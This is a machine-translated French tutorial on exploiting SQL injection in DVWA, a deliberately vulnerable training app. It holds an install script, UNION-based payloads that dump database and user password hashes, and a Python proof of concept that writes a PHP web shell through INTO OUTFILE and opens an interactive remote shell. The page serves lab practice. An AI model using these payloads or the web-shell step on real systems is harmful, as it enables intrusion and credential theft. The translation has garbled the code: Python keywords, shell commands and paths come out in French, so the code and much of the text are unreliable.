Merde Web App vulnérables – SQL Injection
Auteur:
Ashfaq Ansari

Commenté par:
Classement:
5
Sur Octobre 1, 2012
Dernière mise à jour:Janvier 18, 2013

Résumé:

Étape par étape, et approche automatisée pour faire attaques par injection SQL sur Merde vulnérables application Web.

Présentation

Merde Web App vulnérables (DVWA) est un PHP / MySQL application web qui est sacrément vulnérable et peut être exploitée easily.Its principaux objectifs sont d'être une aide pour les professionnels de la sécurité à l'épreuve leurs compétences et les outils dans un environnement juridique, aider les développeurs web à mieux comprendre les processus de sécurisation des applications Web et des enseignants de l'aide / étudiants pour enseigner / apprendre la sécurité des applications Web dans un environnement de laboratoire.

Avertissement!

Merde Web App vulnérables est sacrément vulnérables! Ne pas le transférer à votre fournisseur d'hébergement public_html dossier ou n'importe quel serveur web qui fonctionne comme il sera piraté. Je vous conseille de télécharger et installer XAMPP sur une machine locale à l'intérieur de votre réseau local qui est utilisé exclusivement pour les essais.
Nous ne prenons pas la responsabilité de la façon dont on utilise une Merde Web App vulnérables (DVWA). Nous avons fait les fins de l'application claire et elle doit pas être utilisé avec malveillance. Nous avons donné des avertissements et des mesures prises pour empêcher les utilisateurs d'installer DVWA à vivre serveurs web. Si votre serveur web est compromis par une installation de DVWA ce n'est pas notre responsabilité, il est de la responsabilité de la personne qui a téléchargé et installé, il.

Installation

En général, nous devons XAMPP serveur à configurer application web vulnérable mais sacrément XAMPP serveur n'est rien mais une collection de Apache, SQL, Perl, PHP, OpenSSL et de d'autres logiciels côté serveur mais BackTrack 5 a tout de ces logiciels est installé. Cela signifie qu'il n'est pas nécessaire d'installer XAMPP sur la machine marche arrière. Tout ce que vous devez faire est d'obtenir Merde Web App vulnérables et le mettre sur le répertoire racine du BackTrack 5.

Un script bash merveilleux est disponible pour automatiser tout le processus. Merci à: Travis Phillips.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
echo ""
echo "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
echo "Web App vulnérables script d'installation # Merde #"
echo "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
echo "Codée par: Travis Phillips"
echo «Site Web: http://theunl33t.blogspot.com\n"
echo "Modifié par: Ashfaq Ansari\n"
echo «Site Web: http://hacksys.vfreaks.com\n"

echo "[*] Changer de répertoire vers / var / www ..."
cd /était/www > /dev/zéro
echo -et "Fait!\n"

echo -n "[*] Création du répertoire DVWA ..."
mkdir dvwa > /dev/zéro
echo -et "Fait!\n"

echo -n "[*] Changement de répertoire Temp ..."
cd /tmp
echo -et "Fait!\n"

echo "[*] Téléchargement DVWA ..."
wget http://voxel.dl.sourceforge.net/projet/dvwa/DVWA-1.0.7.zip
echo -et "Fait!\n"

echo -n "[*] DVWA décompression ..."
décompresser DVWA-1.0.7.zip > /dev/zéro
echo -et "Fait!\n"

echo -n "[*] Suppression du fichier zip ..."
rm DVWA-1.0.7.zip > /dev/zéro
echo -et "Fait!\n"

echo -n "[*] Copie dvwa à la racine du répertoire Web ..."
cp -R dvwa/* /était/www/dvwa > /dev/zéro
echo -et "Fait!\n"

echo -n "[*] Annuaire Temp Clearing ..."
rm -R dvwa > /dev/zéro
echo -et "Fait!\n"

echo -n "[*] L'activation à distance d'inclure dans le fichier php.ini ..."
cp /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini1
soif -et 'S / allow_url_include = Off / allow_url_include = Marche /' /etc/php5/apache2/php.ini1 > /etc/php5/apache2/php.ini
rm /etc/php5/apache2/php.ini1
echo -et "Fait!\n"

echo -n "[*] Activation des autorisations d'écriture dans / var / www / dvwa / piraté / charger ..."
chmod 777 /était/www/dvwa/hackable/ajouts/
echo -et "Fait!\n"

echo -n "[*] Démarrage du service Web ..."
Service apache2 début &> /dev/zéro
echo -et "Fait!\n"

echo -n "[*] Lancer MySQL ..."
Service mysql start &> /dev/zéro
echo -et "Fait!\n"

echo -n "[*] Mise à jour le fichier config ..."
cp /était/www/dvwa/config/config.inc.php /était/www/dvwa/config/config.inc.php1
soif -et 'S /''/'«Toor ''/' /était/www/dvwa/config/config.inc.php1 > /était/www/dvwa/config/config.inc.php
rm /était/www/dvwa/config/config.inc.php1
echo -et "Fait!\n"

echo -n "[*] Mise à jour de base de données ..."
wget --post-données "Create_db = Créer / Réinitialiser base de données" http://127.0.0.1/dvwa/setup.php &> /dev/zéro
mysql -vous root --mot de passe=«Toor ' -et «Dvwa.users Update set avatar =" / hackable / users / gordonb.jpg" où l'utilisateur = "gordonb";»
mysql -vous root --mot de passe=«Toor ' -et «Dvwa.users Update set avatar =" / hackable / users / smithy.jpg" où l'utilisateur = "forge";»
mysql -vous root --mot de passe=«Toor ' -et «Dvwa.users Update set avatar =" / hackable / users / admin.jpg" où user = "admin";»
mysql -vous root --mot de passe=«Toor ' -et «Dvwa.users Update set avatar =" / hackable / users / pablo.jpg" où l'utilisateur = "pablo";»
mysql -vous root --mot de passe=«Toor ' -et «Dvwa.users Update set avatar =" / hackable/users/1337.jpg" où user = "1337";»
echo -et "Fait!\n"

echo -et -n "[*] À partir de Firefox DVWA\nUserName: administrateur\nMot de passe: mot de passe"
firefox http://127.0.0.1/dvwa/login.php &> /dev/zéro &
echo -et "\nFait!\n"
echo -et "[\033[1;32m * 033[1;37m] DVWA installer Terminé!\n"

DVWA est installé avec succès, Passons à SQL Injection. Il existe trois niveaux d'injection SQL sur l'application Web Merde vulnérables (Faible, Moyen et Haut). Dans ce post nous allons vous expliquer comment vaincre le faible niveau.

Le code vulnérable

1
2
3
4
5
6
$Identifiant=$_GET['Id'];

$getId="SELECT prenom, nom_famille FROM utilisateurs WHERE user_id = '$Identifiant»";
$entraîner=mysql_query($getId) ou le(»
<pré>»
. mysql_error() . »</pré>
»
);

Le code ci-dessus est vulnérable à SQL Injection. Comme vous pouvez le voir il n'ya pas de désinfection utilisé, la variable est simplement inséré directement dans la requête SQL.

Nous allons confirmer qu'il est vulnérable aux injections SQL:

UserID: ‘

La page a renvoyé le message d'erreur suivant:

Vous avez une erreur dans votre syntaxe SQL; consultez le manuel qui correspond à votre version du serveur MySQL pour la bonne syntaxe à utiliser à proximité ””’ à la ligne 1

Cela confirme qu'il est vulnérable à l'injection SQL, première chose à faire est de savoir combien de colonnes il ya:

UserID: ‘ ORDER BY 1#
UserID: ‘ ORDER BY 2#

Ceux-ci renvoient simplement la même page.

UserID: ‘ ORDER BY 3#

Ensuite, cela nous donne un message d'erreur inestimable:

Inconnu colonne «3’ dans «clause de l'ordre’

Par conséquent, il ya deux colonnes, qui sont évidemment le prenom et colonnes last_name que lorsque vous passez l'ID utilisateur: former un ID utilisateur valide (1) par exemple, vous obtenez ce:

ID: 1
Prénom: administrateur
Nom de famille: administrateur

Droit, maintenant il est temps de découvrir le nom de base de données, nom de la table, nom de colonne et rien d'autre utile et intéressant. Première chose d'abord nous allons trouver la version de base de données:

ID: ‘ UNION ALL SELECT 1, @ @ VERSION #
Prénom: 1
Nom de famille: 5.1.41-3ubuntu12.10

Il est donc à l'aide MySQL 5.1.41-3 sur Ubuntu. Permet de trouver l'utilisateur de la base de données est en cours d'exécution que et le nom de la base de données que nous traitons:

ID: ‘ UNION ALL SELECT utilisateur(),base de données()#
Prénom: root @ localhost
Nom de famille: dvwa

L'utilisateur de base de données est root et la base de données qui nous intéresse est dvwa. Puisque l'utilisateur est root nous allons larguer MySQL hachage:

ID: ‘ UNION ALL SELECT utilisateur,mot de passe mysql.user #
Prénom: root
Nom de famille: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT utilisateur,mot de passe mysql.user #
Prénom: root
Nom de famille: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT utilisateur,mot de passe mysql.user #
Prénom: root
Nom de famille: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT utilisateur,mot de passe mysql.user #
Prénom: debian-sys-maint
Nom de famille: *8C4C424D182238AFBA8B217F692D07C952EF4087

ID: ‘ UNION ALL SELECT utilisateur,mot de passe mysql.user #
Prénom: root
Nom de famille: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT utilisateur,mot de passe mysql.user #
Prénom: administrateur
Nom de famille: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Sensationnel! Nous avons eu le hachage Passord racine. Nous pouvons utiliser John The Ripper pour casser le hachage.

Nous connaissons le nom de base de données est dvwa. Voyons le nom de la table:

ID: ‘ UNION ALL SELECT table_schema,nom_table DE INFORMATION_SCHEMA.TABLES OÙ table_schema LIKE '% dvwa%’ #
Prénom: dvwa
Nom de famille: livre d'or

ID: ‘ UNION ALL SELECT table_schema,nom_table DE INFORMATION_SCHEMA.TABLES OÙ table_schema LIKE '% dvwa%’ #
Prénom: dvwa
Nom de famille: utilisateurs

Il ya deux tables dvwa base de données nommée comme livre d'or et utilisateurs

Maintenant, Trouvons colonnes utilisateurs table.

ID: ‘ UNION ALL SELECT table_schema, column_name DE information_schema.columns OÙ table_schema LIKE '% dvwa%’ #
Prénom: dvwa
Nom de famille: comment_id

ID: ‘ UNION ALL SELECT table_schema, column_name DE information_schema.columns OÙ table_schema LIKE '% dvwa%’ #
Prénom: dvwa
Nom de famille: commentaire

ID: ‘ UNION ALL SELECT table_schema, column_name DE information_schema.columns OÙ table_schema LIKE '% dvwa%’ #
Prénom: dvwa
Nom de famille: nom

ID: ‘ UNION ALL SELECT table_schema, column_name DE information_schema.columns OÙ table_schema LIKE '% dvwa%’ #
Prénom: dvwa
Nom de famille: user_id

ID: ‘ UNION ALL SELECT table_schema, column_name DE information_schema.columns OÙ table_schema LIKE '% dvwa%’ #
Prénom: dvwa
Nom de famille: prenom

ID: ‘ UNION ALL SELECT table_schema, column_name DE information_schema.columns OÙ table_schema LIKE '% dvwa%’ #
Prénom: dvwa
Nom de famille: nom_famille

ID: ‘ UNION ALL SELECT table_schema, column_name DE information_schema.columns OÙ table_schema LIKE '% dvwa%’ #
Prénom: dvwa
Nom de famille: utilisateur

ID: ‘ UNION ALL SELECT table_schema, column_name DE information_schema.columns OÙ table_schema LIKE '% dvwa%’ #
Prénom: dvwa
Nom de famille: mot de passe

ID: ‘ UNION ALL SELECT table_schema, column_name DE information_schema.columns OÙ table_schema LIKE '% dvwa%’ #
Prénom: dvwa
Nom de famille: avatar

Impressionnant, nous allons larguer le nom d'utilisateur et mot de passe dvwa.users table. Ici, nous allons.

ID: ‘ UNION ALL SELECT utilisateur, mot de passe dvwa.users #
Prénom: administrateur
Nom de famille: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ‘ UNION ALL SELECT utilisateur, mot de passe dvwa.users #
Prénom: gordonb
Nom de famille: e99a18c428cb38d5f260853678922e03

ID: ‘ UNION ALL SELECT utilisateur, mot de passe dvwa.users #
Prénom: 1337
Nom de famille: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ‘ UNION ALL SELECT utilisateur, mot de passe dvwa.users #
Prénom: pablo
Nom de famille: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ‘ UNION ALL SELECT utilisateur, mot de passe dvwa.users #
Prénom: forge
Nom de famille: 5f4dcc3b5aa765d61d8327deb882cf99

Travail fait. Nous avons évaluées avec succès les informations d'identification utilisateur. Nous pouvons craquer en utilisant n'importe quel pirate de hachage MD5.

HackSys équipe a créé un PoC en Python qui aide à la automatisé Injection SQL sur DVWA et donne une invite du shell où l'on peut exécuter des commandes shell réguliers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/usr / bin / python
#________________________________________________
#    Merde application web vulnérable - DVWA
#     Injection SQL Exploit de RCE - PoC
#   par Ashfaq Ansari (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (Ltd)   http://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~ ~~ Puissance par HackSys équipe - Panthera
#________________________________________________
#
importer sys, socket, urllib, re, urllib2, GETPASS, chaîne, heure, aléatoire, base64
à partir de optparse importer OptionParser
à partir de cookielib importer CookieJar

descLogo = """
________________________________________________

     Merde application web vulnérable - DVWA
           Injection SQL pour RCE - PoC
   par Ashfaq Ansari (hacksysteam@hotmail.com)

            (__)
            (Ltd)  http://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~~ ~~ Puissance par HackSys équipe - Panthera
________________________________________________

"""


#variables de couleur à utiliser avec la commande d'impression
RED= "\033[31m" # rouge
GREEN= "\033[32m" # vert
BLANC= "\033[0m" # blanc
CYAN = "\033[36m" #cyan
PURPLE = "\033[35m" #pourpre

#Variables
urlstart = "Vulnérabilités / SQLI / index.php?id ="
urlEnd = "&Submit = Envoyer"
shellName = "Fd7cb4cb0031ba249"
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
    "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
    "Google Chrome 0.2.149.29 (Windows XP)",
    "Opera 9.25 (Windows Vista)",
    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
    "Opera/8.00 (Windows NT 5.1; Vous; à)"]
Agent = aléatoire.choix(agents)


#Utilisation résumé de l'aide
utilisation = CYAN + ". / Prog% [<les options>] -t [cible] -d [répertoire]"
utilisation += "\nExemple: ./%prog-p localhost:8080 -t 192.168.1.15:8080 -d / dvwa /"

#Options de l'analyseur
parser = OptionParser(utilisation=utilisation)
parser.add_option(«-P", catégorie="String",l'action="Store", dest="Proxy",
                  aider="Proxy HTTP <serveur:Port>")
parser.add_option("-T", catégorie="String", l'action="Store", dest=«Cible",
                  aider="Le serveur cible <serveur:Port>")
parser.add_option("-D", catégorie="String", l'action="Store", dest="DirPath",
                  aider="Le chemin d'accès à la Merde Web App vulnérables")
(les options, args) = parser.parse_args()


#Saisie de texte - Juste pour le fun
def typingText(message texte, couleur):
 
  essayer:
    pour i à message texte:
      imprimer couleur + "\b%s"%i,
      sys.stdout.rincer()
      heure.dormir(0.020)
  sauf:
    passer
 

si seulement(sys.argv) < 5:
    typingText(descLogo, PURPLE)
    parser.print_help()
    sys.quitter(1)
   

#Gestionnaire Proxy
def getProxy():
 
    essayer:
        proxy_handler = urllib2.Handler Proxy({'Http': les options.proxy})
    sauf(socket.pause):
            imprimer RED + "\tProxy timed out ...\n"
            sys.quitter(1)
    retour proxy_handler


#connexion proxy de test
def testProxy():
 
    imprimer(CYAN + "[+] Test proxy @% s ..." % (les options.proxy))
    ouvre-boîte = urllib2.build_opener(getProxy())
   
    essayer:
      vérifier = ouvre-boîte.ouvrir("Http://www.google.com").lire()
    sauf:
      vérifier = 0
      passer
   
    si vérifier >= 1:
      imprimer(GREEN + "\tProxy est jugée travail ...\n")
    autre:
      imprimer RED + "\tProxy a échoué ... Quitter!\n"
      sys.quitter(1)


#Obtenez la réponse du serveur
def getServerResponse(cj, targetURL, données):
     
    si les options.proxy:
      essayer:
    ouvre-boîte = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
    ouvre-boîte.addHeaders = [('User-Agent', Agent)]
    vérifier = ouvre-boîte.ouvrir(targetURL, données).lire()
    retour vérifier
      sauf:
    imprimer (RED + "\tconnexion proxy a échoué à la cible à distance ...\n")
    sys.quitter(1)
    autre:
      essayer:
    ouvre-boîte = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    ouvre-boîte.addHeaders = [('User-Agent', Agent)]
    vérifier = ouvre-boîte.ouvrir(targetURL, données).lire()
    retour vérifier
      sauf:
    imprimer (RED + "\tConnexion cible échoué, vérifier votre adresse ...\n")
    sys.quitter(1)


#Essayez de vous connecter Damn Vulnerable Web Application
def doLogin():
 
    imprimer(CYAN + "[+] Essayez de vous connecter à DVWA ...")
    targetURL = "Http://" + les options.cible + les options.dirPath + "Login.php"
    valeurs = {'Username' : 'Admin', 'Password' : 'Password', "Login" : "Login"}
    données = urllib.urlencode(valeurs)
    cj = CookieJar()
   
    #Obtenez la réponse du serveur et de le stocker dans une variable
    respHTML = getServerResponse(cj, targetURL, données)
       
    si pas re.rechercher("Échec de la connexion", respHTML):
      heure.dormir(1)
      typingText("\tAuthentification réussie ...\n\n", GREEN)
      retour cj
    autre:
      heure.dormir(1)
      typingText("\tAuthentification refusée! Quitter ...\n\n\n", RED)
      sys.quitter(1)


#Essayez de tamperthe niveau de sécurité de Merde application web vulnérable
def lowSecurity(adminCookie):
 
    imprimer(CYAN + "[+] Falsification de la sécurité des DVWA ...")
    targetURL = "Http://" + les options.cible + les options.dirPath + "Security.php"
    valeurs = {«Sécurité» : «Faible», «Seclev_submit ' : «Soumettre»}
    données = urllib.urlencode(valeurs)
    cj = adminCookie #Utilisez le cookie retourné par doLogin() fonction
   
    #Obtenez la réponse du serveur et de le stocker dans une variable
    respHTML = getServerResponse(cj, targetURL, données)
   
    si re.rechercher("Niveau de sécurité est actuellement <dans>faible</dans>", respHTML):
      heure.dormir(1)
      typingText("\tNiveau de sécurité ensemble avec succès sur BAS ...\n\n", GREEN)
    autre:
      heure.dormir(1)
      typingText("\tImpossible d'altérer le niveau de sécurité! Quitter ...\n\n", RED)
      sys.quitter(1)


#Vérifiez si la cible est vulnérable à l'injection SQL
def testSQLinjection(adminCookie):
 
    imprimer(CYAN + "[+] Vérifier si la cible est vulnérable ...")
    injection_url = "1""
    targetURL = "Http://" + les options.cible + les options.dirPath + urlstart + injection_url + urlEnd
    données = ""
   
    cj = adminCookie #Utilisez le cookie retourné par doLogin() fonction

    #Obtenez la réponse du serveur et de le stocker dans une variable
    respHTML = getServerResponse(cj, targetURL, données)
   
    si re.rechercher("Erreur dans votre syntaxe SQL", respHTML):
      heure.dormir(1)
      typingText("\tw00t -- Cible jugée vulnérable ...\n\n", GREEN)
    autre:
      heure.dormir(1)
      typingText("\to00w -- Cible n'est pas vulnérable! Quitter ...\n\n", RED)    
      sys.quitter(1)


#Consultez les détails de MySQL
def findMySQLInfo(adminCookie):
 
    imprimer(CYAN + "[+] Retriving informations MySQL ...")
    injection_url = "1" UNION ALL SELECT CONCAT_WS(0x3b,0x4861636b537973205465616d,utilisateur(),base de données(),Version(),0x4861636b537973205465616d)%2C2; #"
    targetURL = "Http://" + les options.cible + les options.dirPath + urlstart + injection_url + urlEnd
    données = ""
   
    cj = adminCookie #Utilisez le cookie retourné par doLogin() fonction

    #Obtenez la réponse du serveur et de le stocker dans une variable
    respHTML = getServerResponse(cj, targetURL, données)
   
    # Maintenant extraire les informations intéressantes
    get_secret_data = chaîne.trouver(respHTML,  "Team HackSys")
     
    # Si la cible est pas sortie vulnérables
    si get_secret_data == -1:
        typingText("\tExploitation failed. Quitter maintenant ...\n\n", RED)
        sys.quitter(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = chaîne.trouver(new_html4,  "Team HackSys")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # Les données ont été reçues, maintenant formater et afficher
    formatted_output = st.scission(new_html_5,  ";")
    heure.dormir(1)
    imprimer GREEN + "\tBase de données MySQL: ",  formatted_output[2]
    imprimer GREEN + "\tMySQL Version : ",  formatted_output[3]
    imprimer GREEN + "\tBase de données MySQL utilisateur : ",  formatted_output[1]
    imprimer ""
    retour


#Essayez de nombre d'enregistrements dans la table des utilisateurs
def findNoOfRecordsInTable(adminCookie):
       
    injection_url = "1" UNION ALL SELECT 1% 2C COUNT(*)+de utilisateurs% 3B% 23"
    targetURL = "Http://" + les options.cible + les options.dirPath + urlstart + injection_url + urlEnd
    données = ""
   
    cj = adminCookie #Utilisez le cookie retourné par doLogin() fonction

    #Obtenez la réponse du serveur et de le stocker dans une variable
    respHTML = getServerResponse(cj, targetURL, données)
   
    # Maintenant extraire les informations intéressantes
    get_secret_data = chaîne.trouver(respHTML,  "<br>Nom de famille:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = chaîne.trouver(new_html,  "</pré>\r\n\r\n\t</div>")  
    new_html_2 = new_html[:new_get_secret_data]

    # Les données ont été reçues, maintenant formater et afficher
    formatted_output = st.scission(new_html_2,  ": ")
    retour formatted_output[2]
   

#Essayez de vider le nom de nom d'utilisateur et mot de passe de la table des utilisateurs
def findUserPasswords(adminCookie, index):
 
    injection_url = "1" UNION ALL SELECT 1% 2C CONCAT_WS(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)+De utilisateurs LIMIT " + st(index) + "% 2C30% 3B% 23"
    targetURL = "Http://" + les options.cible + les options.dirPath + urlstart + injection_url + urlEnd
    données = ""
   
    cj = adminCookie #Utilisez le cookie retourné par doLogin() fonction

    #Obtenez la réponse du serveur et de le stocker dans une variable
    respHTML = getServerResponse(cj, targetURL, données)
   
    # Maintenant extraire les informations intéressantes
    get_secret_data = chaîne.trouver(respHTML,  "Team HackSys")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = chaîne.trouver(new_html,  "Team HackSys")    
    new_html_2 = new_html[:new_get_secret_data]

    # Les données ont été reçues, maintenant formater et afficher
    formatted_output = st.scission(new_html_2,  ";")
    heure.dormir(1)
    imprimer GREEN + "\tID de l'utilisateur : ",  formatted_output[1]
    imprimer GREEN + "\tPrénom: ",  formatted_output[2]
    imprimer GREEN + "\tPrénom : ",  formatted_output[3]
    imprimer GREEN + "\tNom d'utilisateur: ",  formatted_output[4]
    imprimer GREEN + "\tMot de passe Hash : ",  formatted_output[5]
    imprimer ""


#Essayez de charger une tinyShell pour l'attaque interactive
def uploadShellViaSQLi(adminCookie):
 
    imprimer(CYAN + "[+] Télécharger Shell via SQLi ...")
   
    #XAMPP Sur Windows XP
    #injection_url = "1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:xampphtdocsdvwashell.php';#"

    #Linux
    injection_url = "1% 27 UNION ALL SELECT % 27% 27% 2C % 27% 3c% système 3Fphp (base64_decode(%24_GET[%22cmd% 22% 5D% 29% 29% 3% 27% 3B % 3f INTO OUTFILE % 27% 2Fvar% 2F% 2Fwww% 2Fdvwa" + shellName + ". Php% 27% 3B% 23"
   
    targetURL = "Http://" + les options.cible + les options.dirPath + urlstart + injection_url + urlEnd
    données = ""
   
    cj = adminCookie #Utilisez le cookie retourné par doLogin() fonction

    #Obtenez la réponse du serveur et de le stocker dans une variable
    respHTML = getServerResponse(cj, targetURL, données)

    si re.rechercher("<h3>ID de l'utilisateur:</h3>", respHTML):
      heure.dormir(1)
      typingText("\tw00t -- Shell téléchargé avec succès ...\n\n", GREEN)
    elif re.rechercher("Existe déjà</pré>", respHTML):
      heure.dormir(1)
      typingText("\tw00t -- Shell existe déjà ...\n\n", GREEN)  
    autre:
      heure.dormir(1)
      typingText("\to00w -- Impossible de charger l'enveloppe ...\n\n", RED)
      sys.quitter(1)


#Lancer une session interactive d'attaque
def interactiveAttack(adminCookie):
 
  imprimer CYAN + "[+] Saisie de console à distance interactive (q pour quitter)\n" + BLANC + "\n  HackSys équipe - Panthera\n   Auteur: Ashfaq Ansari\n  hacksysteam@hotmail.com\n http://hacksys.vfreaks.com /\n\n"
  hn = GREEN + "% S @% s # " % (GETPASS.getUser(), les options.cible) + BLANC
  cmd = ""
  données = ""
  cj = adminCookie
  pendant que cmd != 'Q':
    essayer:
      cmd = raw_input(hn)
      cmd64 = base64.b64encode(cmd)      
      targetURL = ("Http://%s% s% s.php?cmd =% s" % (les options.cible, les options.dirPath, shellName, cmd64))
      ou = getServerResponse(cj, targetURL, cmd64)
      shellOutput = ou.scission("Admin")
      imprimer BLANC + shellOutput[2]
    sauf:
      pause
 
  # suicide
  rmShell = base64.b64encode("% S.php rm" % (shellName))
  targetURL = ("Http://%s% s% s.php?cmd =% s" % (les options.cible, les options.dirPath, shellName, rmShell))
  ou = getServerResponse(cj, targetURL, rmShell)

     
#Fonction principale
def principale():
 
  #Imprimer la bannière en tapant le style du texte
  typingText(descLogo, PURPLE)
 
  #Vérifiez et connectez serveur proxy s'il est spécifié en utilisant l'argument-p
  si les options.proxy:
    testProxy()

  #Prenez le cookie d'administration
  adminCookie = doLogin()
 
  #Trafiquer le niveau de sécurité
  lowSecurity(adminCookie)
 
  #Test de vulnérabilité d'injection SQL
  testSQLinjection(adminCookie)
 
  #Dump de détails MySQL
  findMySQLInfo(adminCookie)
 
  #Trouvez Nombre d'enregistrements dans la table des utilisateurs
  totalRecords = int(findNoOfRecordsInTable(adminCookie))
 
  imprimer(CYAN + "[+] Retriving nom d'utilisateur et mots de passe ...")
 
  pour index à gamme(1,totalRecords 1):
    #Dump de mots de passe à usage
    findUserPasswords(adminCookie, index)
 
  #Téléchargez le tinyShell
  uploadShellViaSQLi(adminCookie)
 
  #Commencez attaque interactive
  interactiveAttack(adminCookie)
 
si __name__ == "__main__":
    principale()

Télécharger Merde Web App vulnérables – SQL Injection PoC

 

DVWA_SQLi.zip

 
Merci d'avoir pris le temps de lire ce post. Si vous rencontrez un problème, N'hésitez pas à nous écrire à s'il vous plaît: hacksysteam@hotmail.com

 
 

178,064 vues au total, 45 vues aujourd'hui

Les deux onglets suivants changent contenu ci-dessous.

Ashfaq Ansari

chercheur en sécurité
Ashfaq Ansari est le fondateur de HackSys Code de l'équipe nommée "Panthera". Il est un chercheur en sécurité avec une expérience dans divers aspects de la sécurité de l'information. Il est l'auteur "HackSys Extreme pilote Vulnérable" et "Shellcode de la mort". Il a également écrit et publié plusieurs livres blancs sur l'exploitation du logiciel de bas niveau. Son intérêt de base réside dans "Low Level exploitation", "Reverse Engineering", "Analyse du programme" et "Hybrid fuzzing". Il est un fanboy de l'intelligence artificielle et l'apprentissage automatique. Il est le chef de file pour le chapitre null Pune.

Pas de réponses à “Merde Web App vulnérables – SQL Injection”

Trackbacks / Pingbacks

  1. Merde vulnérables Web App - Inclusion de fichiers locaux (LFI) | HackSys équipe - Computer Security Research, Test de pénétration, Ethical Hacking, Support technique de Windows - [...] vous n'avez pas lu la première partie, voici le lien: http://hacksys.vfreaks.com / stylo-test / Damn-vulnérable-web-app-sql-injection.html [...]

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont marqués *